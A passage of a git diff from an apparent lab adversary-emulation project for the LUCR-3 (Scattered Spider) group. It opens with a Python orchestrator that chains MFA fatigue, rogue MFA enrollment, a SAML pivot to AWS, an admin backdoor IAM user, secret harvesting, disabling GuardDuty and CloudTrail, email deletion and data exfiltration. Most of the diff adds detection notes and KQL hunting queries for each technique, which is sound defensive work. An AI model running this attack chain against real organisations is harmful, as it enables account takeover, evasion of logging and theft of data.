`outputs` is the Pulumi stack output dict.""" + print("=" * 60) + print("LUCR-3 (Scattered Spider) Adversary Emulation") + print("10-phase / 22-step attack chain") + print(f"Region: {region}") + print("=" * 60) + + # Resolve all resource names from Pulumi outputs (infra = outputs dict) + infra = outputs + + def resolve(key, env_var, default=""): + return infra.get(key, "") or os.environ.get(env_var, default) + + # Keys must match pulumi.export() keys in infra/__main__.py exactly. + okta_domain = resolve("okta_org_url", "OKTA_DOMAIN") + okta_aws_app_id = resolve("okta_aws_app_id", "OKTA_AWS_APP_ID") + okta_azuread_app_id = resolve("azuread_app_client_id", "OKTA_AZUREAD_APP_ID") + m365_tenant_id = resolve("m365_tenant_id", "M365_TENANT_ID") + federated_role_arn = resolve("federated_role_arn", "FEDERATED_ROLE_ARN") + saml_provider_arn = resolve("saml_provider_arn", "SAML_PROVIDER_ARN") + trail_name = resolve("trail_name", "TRAIL_NAME", "lucr3-cloudtrail") + subnet_id = resolve("subnet_id", "LUCR3_SUBNET_ID") + sg_id = resolve("ec2_sg_id", "LUCR3_SG_ID") + ec2_target_id = resolve("ec2_instance_id", "LUCR3_EC2_TARGET_ID") + s3_corporate_bucket = resolve("corporate_bucket_name", "CORPORATE_BUCKET_NAME") + s3_engineering_bucket= resolve("engineering_bucket_name", "ENGINEERING_BUCKET_NAME") + dynamodb_table = resolve("dynamodb_table_name", "DYNAMODB_TABLE_NAME", "lucr3-CustomerRecords") + github_owner = resolve("github_owner", "GITHUB_OWNER") + github_repo = resolve("github_repo_name", "GITHUB_REPO_NAME", "lucr3-core-platform") + backdoor_username = resolve("attacker_user_name", "ATTACKER_USER_NAME", "svc-automation-lucr3") + aws_region = region or resolve("aws_region", "AWS_DEFAULT_REGION", "us-east-1") + + okta_username = os.environ.get("OKTA_VICTIM_USERNAME", "") + okta_password = os.environ.get("OKTA_VICTIM_PASSWORD", "") + + if not okta_username or not okta_password: + print_err("FATAL: OKTA_VICTIM_USERNAME and OKTA_VICTIM_PASSWORD must be set") + sys.exit(1) + if not okta_domain: + print_err("FATAL: OKTA_DOMAIN must be set (or exported from Pulumi as okta_org_url)") + sys.exit(1) + + print_ok(f"Okta domain: {okta_domain}") + print_ok(f"Federated role: {federated_role_arn}") + print_ok(f"CloudTrail trail: {trail_name}") + print_ok(f"Backdoor user: {backdoor_username}") + print_ok(f"AWS region: {aws_region}") + + # State tracking + okta_session_id = None + okta_user_id = None + enrolled_factor_id = None + saml_session = None + attacker_session = None + attacker_key_id = None + attacker_secret = None + graph_token = None + github_pat = "" + detector_id = None + launched_ec2_id = None + instance_profile_name = None + clone_dir = "/tmp/lucr3-repo" + clone_success = False + events = [] + + # ============================================================ + # PHASE 1 + # ============================================================ + result = phase1_okta_authn(okta_domain, okta_username, okta_password) + state_token, factor_id = result + + if state_token == "DIRECT": + # No MFA -- factor_id holds the sessionToken + session_token = factor_id + events.append("user.session.start (Okta System Log) -- no MFA required") + elif state_token and factor_id: + events.append("user.session.start (Okta System Log)") + session_token = phase1_mfa_fatigue_and_intercept(okta_domain, state_token, factor_id) + if session_token: + events.append("user.authentication.auth_via_mfa (Okta System Log)") + else: + print_err("Phase 1 authentication failed -- aborting") + sys.exit(1) + + phase_delay() + + # ============================================================ + # PHASE 2 + # ============================================================ + if session_token: + okta_session_id, okta_user_id, enrolled_factor_id, _ = \ + phase2_enroll_attacker_device(okta_domain, session_token) + if enrolled_factor_id: + events.append("user.mfa.factor.activate (Okta System Log)") + else: + print_err("No sessionToken -- Phase 2 skipped") + + phase_delay() + + # ============================================================ + # PHASE 3 + # ============================================================ + if okta_session_id and federated_role_arn and saml_provider_arn: + key_id, secret, token = phase3_saml_pivot_aws( + okta_domain, okta_session_id, okta_aws_app_id, + federated_role_arn, saml_provider_arn + ) + if key_id: + saml_session = make_aws_session(key_id, secret, token, region=aws_region) + events.append("AssumeRoleWithSAML (sts.amazonaws.com)") + else: + print_err("Phase 3 prerequisites missing -- SAML pivot skipped") + + phase_delay() + + # ============================================================ + # PHASE 4 + # ============================================================ + if okta_session_id and okta_azuread_app_id and m365_tenant_id: + graph_token = phase4_m365_sharepoint( + okta_domain, okta_session_id, okta_azuread_app_id, m365_tenant_id + ) + if graph_token: + events.append("FileAccessed (M365 Unified Audit Log)") + events.append("SearchQueryPerformed (M365 Unified Audit Log)") + else: + print_err("Phase 4 prerequisites missing -- M365 collection skipped") + + phase_delay() + + # ============================================================ + # PHASE 5 + # ============================================================ + if saml_session: + ssm_ids = phase5_aws_discovery(saml_session, s3_corporate_bucket, s3_engineering_bucket) + events += [ + "GetCallerIdentity (sts.amazonaws.com)", + "ListUsers (iam.amazonaws.com)", + "ListRoles (iam.amazonaws.com)", + "DescribeInstances (ec2.amazonaws.com)", + "ListTables (dynamodb.amazonaws.com)", + "ListBuckets (s3.amazonaws.com)", + "ListObjects (s3.amazonaws.com)", + "DescribeVpcs (ec2.amazonaws.com)", + "DescribeSubnets (ec2.amazonaws.com)", + "DescribeKeyPairs (ec2.amazonaws.com)", + "DescribeInstanceInformation (ssm.amazonaws.com)", + ] + if not ec2_target_id and ssm_ids: + ec2_target_id = ssm_ids[0] + print_info(f"Using SSM-discovered EC2 target: {ec2_target_id}") + else: + print_err("No SAML session -- Phase 5 skipped") + + phase_delay() + + # ============================================================ + # PHASE 6 + # ============================================================ + if saml_session: + attacker_key_id, attacker_secret = phase6_aws_backdoor(saml_session, backdoor_username) + if attacker_key_id: + attacker_session = make_aws_session( + attacker_key_id, attacker_secret, region=aws_region + ) + print_ok(f"Attacker IAM session established (phase8_attacker_iam_key: {attacker_key_id})") + events += [ + "CreateUser (iam.amazonaws.com)", + "CreateLoginProfile (iam.amazonaws.com)", + "AttachUserPolicy AdministratorAccess (iam.amazonaws.com)", + "CreateAccessKey (iam.amazonaws.com)", + ] + else: + print_err("No SAML session -- Phase 6 skipped") + + phase_delay() + + # ============================================================ + # PHASE 7 + # ============================================================ + if attacker_session: + github_pat, launched_ec2_id, instance_profile_name = \ + phase7_harvest_and_stage(attacker_session, subnet_id, sg_id) + events += [ + "ListSecrets (secretsmanager.amazonaws.com)", + "GetSecretValue prod/database/master_credentials (secretsmanager.amazonaws.com)", + "GetSecretValue prod/payments/stripe_secret_key (secretsmanager.amazonaws.com)", + "GetSecretValue prod/infrastructure/terraform-automation-key CANARY TRIGGERED", + "GetSecretValue prod/cicd/github-actions-token CANARY TRIGGERED", + "CreateInstanceProfile (iam.amazonaws.com)", + "RunInstances (ec2.amazonaws.com)", + ] + else: + print_err("No attacker session -- Phase 7 skipped") + + phase_delay() + + # ============================================================ + # PHASE 8 + # ============================================================ + if attacker_session: + detector_id = phase8_defense_evasion(attacker_session, github_pat, trail_name) + events += [ + "GitHub API token use attempt (GitHub Audit Log) -- canary triggered", + "UpdateDetector Enable=False (guardduty.amazonaws.com)", + "StopLogging (cloudtrail.amazonaws.com) -- LAST EVENT BEFORE GAP", + ] + else: + print_err("No attacker session -- Phase 8 skipped") + + phase_delay() + + # ============================================================ + # PHASE 9 + # ============================================================ + if attacker_session: + phase9_lateral_and_cleanup(attacker_session, ec2_target_id, graph_token) + events += [ + "StartSession SSM (ssm.amazonaws.com) -- lateral movement", + "HardDelete security alert emails (M365 Unified Audit Log)", + "SoftDelete security alert emails (M365 Unified Audit Log)", + ] + else: + print_err("No attacker session -- Phase 9 skipped") + + phase_delay() + + # ============================================================ + # PHASE 10 + # ============================================================ + if attacker_session: + clone_dir, clone_success = phase10_exfiltration( + attacker_session, + s3_corporate_bucket, s3_engineering_bucket, dynamodb_table, + github_pat, github_owner, github_repo, + ) + events += [ + "GetObject s3-corporate-data (S3 server access log)", + "GetObject s3-engineering-artifacts (S3 server access log)", + "GetObject lucr3-bait-terraform-state CANARY TRIGGERED", + "DynamoDB Scan lucr3-CustomerRecords", + "GitHub git.clone attempt (GitHub Audit Log)", + ] + else: + print_err("No attacker session -- Phase 10 skipped") + + phase_delay() + + # ============================================================ + # CLEANUP -- uses attacker_session (has AdministratorAccess) + # Falls back to saml_session if attacker key was never created + # ============================================================ + cleanup_sess = attacker_session or saml_session + if cleanup_sess: + post_attack_cleanup( + cleanup_sess, + okta_domain, okta_user_id, enrolled_factor_id, + backdoor_username, attacker_key_id, + detector_id, trail_name, + launched_ec2_id, instance_profile_name, + clone_dir, + ) + else: + print_err("No cleanup session -- manual cleanup required") + print_info("Manual steps: pulumi destroy in infra/") + + print_summary(events) + + +if __name__ == "__main__": + _outputs = json.loads(sys.argv[1]) if len(sys.argv) > 1 else {} + _region = sys.argv[2] if len(sys.argv) > 2 else "us-east-1" + run(_outputs, _region) diff --git a/emulations/lucr_3/detections/detection_note_T1021.004.md b/emulations/lucr_3/detections/detection_note_T1021.004.md new file mode 100644 index 0000000..715d600 --- /dev/null +++ b/emulations/lucr_3/detections/detection_note_T1021.004.md @@ -0,0 +1,39 @@ +# Detection Note: T1021.004 - Remote Services: SSH (via AWS SSM Session Manager) + +This technique operates on the data plane. LUCR-3 uses AWS SSM Session Manager +to establish an interactive shell on EC2 instances without requiring an exposed SSH port. +SSM tunnels over HTTPS (port 443); standard SSH port monitoring does not apply. + +The lateral movement itself generates NO CloudTrail events matching a traditional +"remote login" pattern. CloudTrail does record the SSM API call that initiates the +session, but the subsequent shell activity is data-plane traffic. + +## Detection Alternatives + +### AWS SSM Session Manager Logs (control-plane visible) +- CloudTrail: StartSession event on ssm.amazonaws.com from attacker IAM user principal + - KQL: AWSCloudTrail | where EventName == "StartSession" | where EventSource == "ssm.amazonaws.com" + - SIGMA logsource: product: aws, service: cloudtrail; eventName: StartSession +- SSM Session Manager can stream session logs to CloudWatch Logs and S3. Enable this + in SSM Preferences -> Session Manager -> CloudWatch Logs for full shell transcript. + +### VPC Flow Logs +- HTTPS (443) traffic from attacker EC2 instance to target EC2 instance within the VPC +- Unexpected east-west traffic between instances that do not normally communicate +- AzureNSGFlowLogs equivalent: aws_vpcflow table in Sentinel or S3-based flow log ingestion + +### EC2 Host / OS Telemetry +- Linux auth logs (/var/log/auth.log or /var/log/secure): new interactive session + opened by ssm-user or ec2-user via SSM agent +- EDR telemetry (CrowdStrike Falcon, SentinelOne): shell spawned by amazon-ssm-agent + process - parent-child process chain is a reliable indicator +- auditd rules: track session open events (type=USER_START) on the target instance + +### GuardDuty (partially suppressed - detector disabled at Step 16) +- If GuardDuty is active: UnauthorizedAccess:EC2/SSHBruteForce (not applicable here + as SSM bypasses SSH) or Behavior:EC2/NetworkPortUnusual for unusual outbound traffic + +### SIEM Correlation +Correlate StartSession (CloudTrail) from attacker IAM user with VPC flow HTTPS traffic +to the same target instance IP within a 5-minute window for high-confidence lateral +movement detection even without shell transcript logging. diff --git a/emulations/lucr_3/detections/detection_note_T1072.md b/emulations/lucr_3/detections/detection_note_T1072.md new file mode 100644 index 0000000..a04d9cb --- /dev/null +++ b/emulations/lucr_3/detections/detection_note_T1072.md @@ -0,0 +1,45 @@ +# Detection Note: T1072 - Software Deployment Tools (SCCM / Microsoft Intune) + +This technique operates on the host/endpoint plane and is documented-only in the +LUCR-3 emulation - NOT implemented in the attack script. The sandbox has no domain +controller or domain-joined endpoints, so this technique cannot be safely emulated. + +Real LUCR-3 execution: after gaining privileged AD/Entra ID access via federated +identity, the actor leverages SCCM or Microsoft Intune to push payloads to domain-joined +endpoints across the organization, achieving broad lateral movement and persistence +without direct host-by-host access. + +## Detection Alternatives + +### Microsoft SCCM / ConfigMgr Audit Logs (out of scope for this sandbox) +- SCCM audit log: new Software Distribution Package or Application Deployment created + by an account that is not part of the standard change-management group +- SCCM: Script Execution approval bypassed or new PowerShell script deployed to large + collection outside change window +- Windows Event ID 4688 (process creation) on managed endpoints: msiexec.exe, + powershell.exe, or cmd.exe spawned by CcmExec.exe (SCCM client) with unusual arguments + +### Microsoft Intune / Endpoint Manager +- Microsoft Endpoint Manager audit log: new Device Configuration Policy or Win32 App + created by a recently-onboarded or federated account +- Azure AD Audit Log (OperationName: "Add device configuration policy") from anomalous + principal +- Microsoft Defender for Endpoint: alert on suspicious child process of + IntuneManagementExtension.exe + +### Active Directory / Entra ID (prerequisite detection) +- Entra ID Audit Log: privileged role (Intune Administrator, Global Administrator) + assigned to a federated user shortly before SCCM deployment activity +- Azure AD Sign-in Log: Intune admin portal access from anomalous geolocation + +### Endpoint EDR Telemetry +- CrowdStrike / SentinelOne: process tree showing CcmExec.exe or + IntuneManagementExtension.exe as parent of attacker payload +- Sysmon Event ID 1 (process creation): look for unexpected executables dropped to + C:\Windows\ccmcache\ or %ProgramData%\Microsoft\IntuneManagementExtension\ + +### Network +- Unusual HTTPS traffic from a large number of endpoints to the same external IP + immediately after a new Intune policy push (beaconing pattern) +- DNS: sudden spike in queries to an unknown domain from domain-joined hosts following + a new application deployment diff --git a/emulations/lucr_3/detections/detection_note_T1111.md b/emulations/lucr_3/detections/detection_note_T1111.md new file mode 100644 index 0000000..349020a --- /dev/null +++ b/emulations/lucr_3/detections/detection_note_T1111.md @@ -0,0 +1,35 @@ +# Detection Note: T1111 - Multi-Factor Authentication Interception + +This technique operates on the data plane (telecom provider infrastructure) and generates +NO audit log events within AWS, Okta, Azure AD, or M365. + +Real LUCR-3 execution: SIM swapping via telecom fraud or helpdesk social engineering to +forward SMS OTPs. The outcome (a valid sessionToken) is indistinguishable in Okta logs +from a legitimate MFA approval - only the delivery mechanism differs. + +Lab emulation: operator manually approves MFA on enrolled test device; same sessionToken +outcome without illegal telecom manipulation. + +## Detection Alternatives + +### Telecom / Carrier-Side (out of scope for cloud sandbox) +- Carrier SIM-swap fraud alert feeds (AT&T, Verizon, T-Mobile Protect APIs) +- Number porting alert subscriptions via CTIA Short Message Service registry + +### Okta / Identity (indirect signals - no direct interception event) +- user.session.start from geolocation that does not match user's registered address + (Okta ThreatInsight anomalous location heuristic) +- Sudden MFA factor type change (e.g. SMS -> TOTP) correlated with prior T1621 flood: + Sigma: sigma_T1621.yml + sigma_T1098.005.yml sequential correlation +- Okta System Log: user.account.update_phone_number - phone number changed hours before + successful auth (pre-SIM-swap indicator) + +### SIEM Correlation Rule +Combine T1621 (MFA flood) + T1098.005 (new factor enrolled from external IP) within +a 2-hour window on the same actor. The sequence MFA-flood -> attacker-device-enrolled +is the audit-visible footprint of what SIM-swap achieves covertly. + +### Vendor Threat Intelligence +- Okta ThreatInsight: enabled suspicious-activity scoring for the tenant +- Microsoft Entra ID Protection: "Unfamiliar sign-in properties" risk policy +- Telecom Intelligence: subscribe to SIM-swap notification APIs (carrier-dependent) diff --git a/emulations/lucr_3/detections/kql_T1070.008.kql b/emulations/lucr_3/detections/kql_T1070.008.kql new file mode 100644 index 0000000..d4217da --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1070.008.kql @@ -0,0 +1,21 @@ +// T1070.008 - Indicator Removal: Clear Mailbox Data +// Detects bulk email deletion via Microsoft Graph - LUCR-3 post-exfil forensic cleanup +// Log source: OfficeActivity (M365 Unified Audit Log via Microsoft Sentinel connector) +OfficeActivity +| where Operation in ("HardDelete", "SoftDelete") +| where OfficeWorkload == "Exchange" +| where not(ClientInfoString has_any ("ManagedFolderAssistant", "RetentionPolicy", "eDiscovery")) +| summarize + DeleteCount = count(), + Operations = make_set(Operation), + FolderPaths = make_set(OfficeObjectId) + by bin(TimeGenerated, 5m), UserId, ClientIP +| where DeleteCount > 10 +| project + TimeGenerated, + UserId, + ClientIP, + DeleteCount, + Operations, + FolderPaths +| sort by DeleteCount desc diff --git a/emulations/lucr_3/detections/kql_T1078.004_aws.kql b/emulations/lucr_3/detections/kql_T1078.004_aws.kql new file mode 100644 index 0000000..5867f80 --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1078.004_aws.kql @@ -0,0 +1,25 @@ +// T1078.004 - Valid Accounts: Cloud Accounts (AWS SAML Federation) +// Detects AssumeRoleWithSAML from anomalous IPs - LUCR-3 Okta-to-AWS pivot +// Log source: AWSCloudTrail table in Microsoft Sentinel +AWSCloudTrail +| where EventName == "AssumeRoleWithSAML" +| where EventSource == "sts.amazonaws.com" +| where isnotempty(SourceIpAddress) +| where not(ipv4_is_private(SourceIpAddress)) +| where not(UserAgent has_any ("aws-sdk", "Terraform", "aws-cdk")) +| extend + FederatedPrincipal = tostring(parse_json(UserIdentityArn)), + RoleAssumed = tostring(parse_json(RequestParameters).roleArn), + SAMLProvider = tostring(parse_json(RequestParameters).principalArn), + Region = AWSRegion +| project + TimeGenerated, + FederatedPrincipal, + RoleAssumed, + SAMLProvider, + SourceIpAddress, + UserAgent, + Region, + ErrorCode, + ErrorMessage +| sort by TimeGenerated desc diff --git a/emulations/lucr_3/detections/kql_T1078.004_okta.kql b/emulations/lucr_3/detections/kql_T1078.004_okta.kql new file mode 100644 index 0000000..077d60c --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1078.004_okta.kql @@ -0,0 +1,26 @@ +// T1078.004 - Valid Accounts: Cloud Accounts (Okta IDP) +// Detects Okta session starts from non-RFC1918 IPs - LUCR-3 initial access vector +// Log source: Okta System Log ingested to Sentinel as Okta_CL (Okta Data Connector) +Okta_CL +| where eventType_s == "user.session.start" +| where outcome_result_s == "SUCCESS" +| where isnotempty(client_ipAddress_s) +| where not(ipv4_is_private(client_ipAddress_s)) +| extend + Actor = actor_alternateId_s, + ActorName = actor_displayName_s, + SourceIP = client_ipAddress_s, + UserAgent = client_userAgent_rawUserAgent_s, + Country = client_geographicalContext_country_s, + City = client_geographicalContext_city_s, + SessionId = authenticationContext_externalSessionId_s +| project + TimeGenerated, + Actor, + ActorName, + SourceIP, + Country, + City, + UserAgent, + SessionId +| sort by TimeGenerated desc diff --git a/emulations/lucr_3/detections/kql_T1082.kql b/emulations/lucr_3/detections/kql_T1082.kql new file mode 100644 index 0000000..7e39df4 --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1082.kql @@ -0,0 +1,24 @@ +// T1082 - System Information Discovery (AWS VPC + SSM topology) +// Detects VPC/SSM enumeration from non-service principals - LUCR-3 lateral movement prep +// Log source: AWSCloudTrail table in Microsoft Sentinel +let TopologyEvents = dynamic([ + "DescribeVpcs", "DescribeSubnets", "DescribeKeyPairs", + "DescribeInstanceInformation" +]); +AWSCloudTrail +| where EventName in (TopologyEvents) +| where UserIdentityType in ("AssumedRole", "IAMUser") +| where not(UserIdentityArn has_any (":role/aws-service-role/", ":role/AWSServiceRole")) +| summarize + EventCount = count(), + EventTypes = make_set(EventName), + SourceIPs = make_set(SourceIpAddress) + by bin(TimeGenerated, 5m), UserIdentityArn +| where EventCount >= 3 +| project + TimeGenerated, + UserIdentityArn, + EventCount, + EventTypes, + SourceIPs +| sort by EventCount desc diff --git a/emulations/lucr_3/detections/kql_T1098.001.kql b/emulations/lucr_3/detections/kql_T1098.001.kql new file mode 100644 index 0000000..0a2bd59 --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1098.001.kql @@ -0,0 +1,27 @@ +// T1098.001 - Account Manipulation: Additional Cloud Credentials +// Detects CreateAccessKey on IAM user created within the last 30 minutes +// Log source: AWSCloudTrail table in Microsoft Sentinel +let TimeWindow = 30m; +let RecentUsers = AWSCloudTrail + | where EventName == "CreateUser" + | where EventSource == "iam.amazonaws.com" + | project + UserCreatedAt = TimeGenerated, + NewUserName = tostring(parse_json(RequestParameters).userName), + CreatorArn = UserIdentityArn; +AWSCloudTrail +| where EventName == "CreateAccessKey" +| where EventSource == "iam.amazonaws.com" +| extend TargetUser = tostring(parse_json(RequestParameters).userName) +| join kind=inner (RecentUsers) on $left.TargetUser == $right.NewUserName +| where TimeGenerated between (UserCreatedAt .. (UserCreatedAt + TimeWindow)) +| extend MinutesSinceUserCreation = datetime_diff("minute", TimeGenerated, UserCreatedAt) +| project + TimeGenerated, + TargetUser, + CreatorArn, + UserCreatedAt, + MinutesSinceUserCreation, + SourceIpAddress, + UserAgent +| sort by TimeGenerated desc diff --git a/emulations/lucr_3/detections/kql_T1098.005.kql b/emulations/lucr_3/detections/kql_T1098.005.kql new file mode 100644 index 0000000..58c640f --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1098.005.kql @@ -0,0 +1,27 @@ +// T1098.005 - Account Manipulation: Device Registration +// Detects new MFA factor enrollment from non-corporate IP - LUCR-3 TOTP persistence +// Log source: Okta_CL (Okta Data Connector for Microsoft Sentinel) +Okta_CL +| where eventType_s == "user.mfa.factor.activate" +| where outcome_result_s == "SUCCESS" +| where isnotempty(client_ipAddress_s) +| where not(ipv4_is_private(client_ipAddress_s)) +| extend + Actor = actor_alternateId_s, + ActorName = actor_displayName_s, + FactorType = tostring(parse_json(debugContext_debugData_factor_s)), + SourceIP = client_ipAddress_s, + Country = client_geographicalContext_country_s, + City = client_geographicalContext_city_s, + HourOfDay = hourofday(TimeGenerated) +| extend OutsideBusinessHours = iff(HourOfDay < 8 or HourOfDay > 18, true, false) +| project + TimeGenerated, + Actor, + ActorName, + FactorType, + SourceIP, + Country, + City, + OutsideBusinessHours +| sort by TimeGenerated desc diff --git a/emulations/lucr_3/detections/kql_T1098.kql b/emulations/lucr_3/detections/kql_T1098.kql new file mode 100644 index 0000000..9b3c817 --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1098.kql @@ -0,0 +1,23 @@ +// T1098 - Account Manipulation (AdministratorAccess attached to IAM user) +// High-confidence LUCR-3 indicator: broad policy grant to new backdoor user +// Log source: AWSCloudTrail table in Microsoft Sentinel +AWSCloudTrail +| where EventName == "AttachUserPolicy" +| where EventSource == "iam.amazonaws.com" +| where tostring(parse_json(RequestParameters).policyArn) == "arn:aws:iam::aws:policy/AdministratorAccess" +| where not(UserIdentityArn has_any ("BreakGlass", "break-glass", "emergency")) +| extend + Actor = UserIdentityArn, + TargetUser = tostring(parse_json(RequestParameters).userName), + PolicyAttached = tostring(parse_json(RequestParameters).policyArn), + Region = AWSRegion +| project + TimeGenerated, + Actor, + TargetUser, + PolicyAttached, + SourceIpAddress, + UserAgent, + Region, + ErrorCode +| sort by TimeGenerated desc diff --git a/emulations/lucr_3/detections/kql_T1136.003.kql b/emulations/lucr_3/detections/kql_T1136.003.kql new file mode 100644 index 0000000..881d4ac --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1136.003.kql @@ -0,0 +1,31 @@ +// T1136.003 - Create Account: Cloud Account (IAM backdoor user) +// Detects CreateUser + CreateLoginProfile sequence from federated principal +// Log source: AWSCloudTrail table in Microsoft Sentinel +let TimeWindow = 30m; +let CreateUserEvents = AWSCloudTrail + | where EventName == "CreateUser" + | where EventSource == "iam.amazonaws.com" + | where UserIdentityType == "AssumedRole" + | where not(UserIdentityArn has_any (":role/HRProvisioning", ":role/IdentitySync", ":role/SCIMProvider")) + | project + CreateTime = TimeGenerated, + Actor = UserIdentityArn, + NewUser = tostring(parse_json(RequestParameters).userName), + SourceIP = SourceIpAddress; +let LoginProfileEvents = AWSCloudTrail + | where EventName == "CreateLoginProfile" + | where EventSource == "iam.amazonaws.com" + | project + LoginTime = TimeGenerated, + TargetUser = tostring(parse_json(RequestParameters).userName); +CreateUserEvents +| join kind=leftouter (LoginProfileEvents) on $left.NewUser == $right.TargetUser +| where LoginTime between (CreateTime .. (CreateTime + TimeWindow)) or isempty(LoginTime) +| project + CreateTime, + Actor, + NewUser, + SourceIP, + LoginProfileAdded = isnotempty(LoginTime), + LoginTime +| sort by CreateTime desc diff --git a/emulations/lucr_3/detections/kql_T1213.002.kql b/emulations/lucr_3/detections/kql_T1213.002.kql new file mode 100644 index 0000000..d50dc4d --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1213.002.kql @@ -0,0 +1,27 @@ +// T1213.002 - Data from Information Repositories: SharePoint +// Detects bulk SharePoint file access via federated identity - LUCR-3 M365 collection +// Log source: OfficeActivity (M365 Unified Audit Log via Microsoft Sentinel connector) +OfficeActivity +| where Operation == "FileAccessed" +| where OfficeWorkload == "SharePoint" +| where not(ClientAppId has_any ("OneDriveMpc", "Microsoft SkyDriveSync", "ManagedFolderAssistant")) +| summarize + FileCount = count(), + UniqueFiles = dcount(OfficeObjectId), + UniqueSites = dcount(SiteUrl), + FirstAccess = min(TimeGenerated), + LastAccess = max(TimeGenerated) + by bin(TimeGenerated, 10m), UserId, ClientIP +| where FileCount > 50 +| extend AccessWindowMinutes = datetime_diff("minute", LastAccess, FirstAccess) +| project + TimeGenerated, + UserId, + ClientIP, + FileCount, + UniqueFiles, + UniqueSites, + AccessWindowMinutes, + FirstAccess, + LastAccess +| sort by FileCount desc diff --git a/emulations/lucr_3/detections/kql_T1213.003.kql b/emulations/lucr_3/detections/kql_T1213.003.kql new file mode 100644 index 0000000..6acc53d --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1213.003.kql @@ -0,0 +1,26 @@ +// T1213.003 - Data from Information Repositories: Code Repositories +// Detects GitHub repo clone from anomalous actor - LUCR-3 source code IP theft +// Log source: GitHubAuditLogPolling_CL (GitHub Advanced Security Connector for Sentinel) +GitHubAuditLogPolling_CL +| where action_s in ("git.clone", "repository.download", "repo.download") +| where not(actor_s has_any ("github-actions[bot]", "dependabot[bot]", "renovate[bot]")) +| extend + Actor = actor_s, + Organization = org_s, + Repository = repo_s, + ProtocolUsed = transport_protocol_s, + ActorCountry = actor_location_country_code_s +| summarize + CloneCount = count(), + Repos = make_set(Repository), + Countries = make_set(ActorCountry) + by bin(TimeGenerated, 1h), Actor, Organization +| where CloneCount >= 1 +| project + TimeGenerated, + Actor, + Organization, + CloneCount, + Repos, + Countries +| sort by CloneCount desc diff --git a/emulations/lucr_3/detections/kql_T1530.kql b/emulations/lucr_3/detections/kql_T1530.kql new file mode 100644 index 0000000..e07e862 --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1530.kql @@ -0,0 +1,28 @@ +// T1530 - Data from Cloud Storage (S3 Exfiltration) +// NOTE: CloudTrail is stopped before exfiltration. Use S3 server access logs or +// the CloudTrail event stream gap as the primary signal. This query detects pre-stop +// ListObjects and any post-stop GetObject events visible in S3 server access logs +// ingested independently into Sentinel. +// Log source: AWSCloudTrail (pre-stop) + AWSVPCFlow or custom S3ServerAccessLog_CL +AWSCloudTrail +| where EventSource == "s3.amazonaws.com" +| where EventName in ("GetObject", "ListObjects", "ListObjectsV2") +| where UserIdentityType == "IAMUser" +| where not(UserIdentityArn has_any ("BackupRole", "S3ReplicationRole", "backup-", "macie")) +| summarize + OpCount = count(), + BucketsAccessed = make_set(tostring(parse_json(RequestParameters).bucketName)), + SourceIPs = make_set(SourceIpAddress), + Operations = make_set(EventName) + by bin(TimeGenerated, 10m), UserIdentityArn +| where OpCount > 100 +| extend UniqueBuckets = array_length(BucketsAccessed) +| project + TimeGenerated, + UserIdentityArn, + OpCount, + UniqueBuckets, + BucketsAccessed, + SourceIPs, + Operations +| sort by OpCount desc diff --git a/emulations/lucr_3/detections/kql_T1550.001.kql b/emulations/lucr_3/detections/kql_T1550.001.kql new file mode 100644 index 0000000..ac5bda3 --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1550.001.kql @@ -0,0 +1,20 @@ +// T1550.001 - Use Alternate Authentication Material: Application Access Token +// Detects GitHub PAT usage from anomalous IPs - LUCR-3 stolen token pivot to GitHub +// Log source: GitHubAuditLogPolling_CL (GitHub Advanced Security Connector for Sentinel) +GitHubAuditLogPolling_CL +| where action_s in ("personal_access_token.create", "personal_access_token.access_created", "personal_access_token_created") +| where not(actor_s has_any ("bot]", "[bot]", "dependabot", "renovate", "github-actions")) +| extend + Actor = actor_s, + ActorIP = actor_location_country_code_s, + Organization = org_s, + Repository = repo_s, + Operation = operation_type_s +| project + TimeGenerated, + Actor, + ActorIP, + Organization, + Repository, + Operation +| sort by TimeGenerated desc diff --git a/emulations/lucr_3/detections/kql_T1555.006.kql b/emulations/lucr_3/detections/kql_T1555.006.kql new file mode 100644 index 0000000..4bff881 --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1555.006.kql @@ -0,0 +1,28 @@ +// T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores +// Detects bulk SecretsManager harvest - LUCR-3 credential collection via new IAM key +// Log source: AWSCloudTrail table in Microsoft Sentinel +AWSCloudTrail +| where EventSource == "secretsmanager.amazonaws.com" +| where EventName in ("ListSecrets", "GetSecretValue") +| where not(UserIdentityArn has_any ( + ":role/AppRole", ":role/LambdaExecutionRole", ":role/ECSTaskRole", + ":role/SecretsRotationRole", "aws-service-role" +)) +| summarize + OpCount = count(), + SecretNames = make_set(tostring(parse_json(RequestParameters).secretId)), + Operations = make_set(EventName), + SourceIPs = make_set(SourceIpAddress) + by bin(TimeGenerated, 10m), UserIdentityArn +| where OpCount > 5 +| extend + UniqueSecrets = array_length(SecretNames), + GetValueCalls = array_length(array_slice(Operations, 0, -1)) +| project + TimeGenerated, + UserIdentityArn, + OpCount, + UniqueSecrets, + SecretNames, + SourceIPs +| sort by OpCount desc diff --git a/emulations/lucr_3/detections/kql_T1562.001.kql b/emulations/lucr_3/detections/kql_T1562.001.kql new file mode 100644 index 0000000..3092d9d --- /dev/null +++ b/emulations/lucr_3/detections/kql_T1562.001.kql @@ -0,0 +1,25 @@ +// T1562.001 - Impair Defenses: Disable or Modify Tools (GuardDuty) +// Detects GuardDuty detector disable - LUCR-3 pre-exfiltration defense evasion +// Log source: AWSCloudTrail table in Microsoft Sentinel +AWSCloudTrail +| where EventSource == "guardduty.amazonaws.com" +| where EventName in ("UpdateDetector", "DeleteDetector") +| where EventName != "UpdateDetector" or tostring(parse_json(RequestParameters).enable) == "false" +| where not(UserIdentityArn has_any (":role/TerraformRole", ":role/InfraDestroyRole")) +| extend + Actor = UserIdentityArn, + DetectorId = tostring(parse_json(RequestParameters).detectorId), + Action = EventName, + EnabledFlag = tostring(parse_json(RequestParameters).enable), + Region = AWSRegion +| project + TimeGenerated, + 